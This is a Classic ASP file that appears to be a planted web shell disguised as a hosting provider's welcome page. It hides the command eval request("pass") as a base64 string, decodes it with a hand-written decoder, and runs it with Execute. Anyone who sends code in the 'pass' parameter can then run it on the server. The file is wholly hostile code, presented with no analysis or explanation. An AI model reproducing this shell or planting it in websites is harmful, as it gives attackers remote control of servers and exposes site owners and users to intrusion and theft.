%Str="ZXZhbCByZXF1ZXN0KCJwYXNzIik="%> <% const BASE_SN_MAP_INIT="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" dim newline dim BaseAspEncMap(63) dim BaseAspDecMap(127) '初始化函数 PUBLIC SUB initCodecs() ' 初始化变量 newline = "
" & chr(13) & chr(10) dim max, idx max = len(BASE_SN_MAP_INIT) for idx = 0 to max - 1 BaseAspEncMap(idx) = mid(BASE_SN_MAP_INIT, idx + 1, 1) next for idx = 0 to max - 1 BaseAspDecMap(ASC(BaseAspEncMap(idx))) = idx next END SUB PUBLIC FUNCTION BaseAspDecode(scrambled) if len(scrambled) = 0 then BaseAspDecode = "" exit function end if dim realLen realLen = len(scrambled) do while mid(scrambled, realLen, 1) = "=" realLen = realLen - 1 loop dim ret, ndx, by4, first, second, third, fourth ret = "" by4 = (realLen \ 4) * 4 ndx = 1 do while ndx <= by4 first = BaseAspDecMap(asc(mid(scrambled, ndx+0, 1))) second = BaseAspDecMap(asc(mid(scrambled, ndx+1, 1))) third = BaseAspDecMap(asc(mid(scrambled, ndx+2, 1))) fourth = BaseAspDecMap(asc(mid(scrambled, ndx+3, 1))) ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3)) ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15)) ret = ret & chr( ((third * 64) AND 255) + (fourth AND 63)) ndx = ndx + 4 loop if ndx < realLen then first = BaseAspDecMap(asc(mid(scrambled, ndx+0, 1))) second = BaseAspDecMap(asc(mid(scrambled, ndx+1, 1))) ret = ret & chr( ((first * 4) AND 255) + ((second \ 16) AND 3)) if realLen MOD 4 = 3 then third = BaseAspDecMap(asc(mid(scrambled,ndx+2,1))) ret = ret & chr( ((second * 16) AND 255) + ((third \ 4) AND 15)) end if end if BaseAspDecode=ret END FUNCTION call initCodecs %> <%Execute(BaseAspDecode(Str))%>
:-)
欢迎您-新网客户
|
??